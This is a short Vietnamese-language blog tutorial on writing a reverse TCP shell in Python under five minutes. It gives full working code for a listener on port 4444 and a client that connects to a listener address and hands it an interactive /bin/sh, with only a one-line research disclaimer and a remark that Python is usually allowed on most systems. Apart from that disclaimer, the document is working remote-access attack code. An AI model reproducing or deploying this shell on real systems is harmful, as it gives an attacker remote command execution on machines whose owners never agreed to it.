Viết Python Reverse TCP Shell trong vòng chưa đầy 5,1 phút

Jan 11 2023
R. Eric Kiser Tuyên bố miễn trừ trách nhiệm: cho mục đích nghiên cứu và kết nối với thiết bị bạn sở hữu.

R. Eric Kiser

Tuyên bố miễn trừ trách nhiệm: cho mục đích nghiên cứu và kết nối với các thiết bị bạn sở hữu. Để viết trình bao TCP đảo ngược bằng bất kỳ ngôn ngữ nào, bạn sẽ cần hai chương trình, máy chủ và máy khách. Bạn cần chạy máy chủ (trình nghe) trên thiết bị của mình và chạy ứng dụng khách trên máy tính mà bạn muốn kết nối. Python thường được cho phép trên hầu hết các hệ thống.

Ví dụ về máy chủ Shell TCP đảo ngược

import socket

HOST = '0.0.0.0'    # Listen on all interfaces
PORT = 4444         # Port to listen on

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)         # Listen for only one connection

print(f'[*] Listening on {HOST}:{PORT}')

conn, addr = s.accept()
print(f'[*] Connection from {addr[0]}:{addr[1]}')

# Start a shell
while True:
    command = input("$ ")
    if command == "exit":
        break
    conn.send(command.encode())
    data = conn.recv(1024).decode()
    print(data)

conn.close()

Ví dụ máy khách TCP đảo ngược

import socket
import subprocess

HOST = '10.0.0.1'  # IP of the listener
PORT = 4444        # Port to connect to

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

# Start a shell process
p = subprocess.Popen(['/bin/sh', '-i'],
                     stdin=s.fileno(),
                     stdout=s.fileno(),
                     stderr=s.fileno())

# Run the shell until the process terminates
p.wait()

# Close the socket
s.close()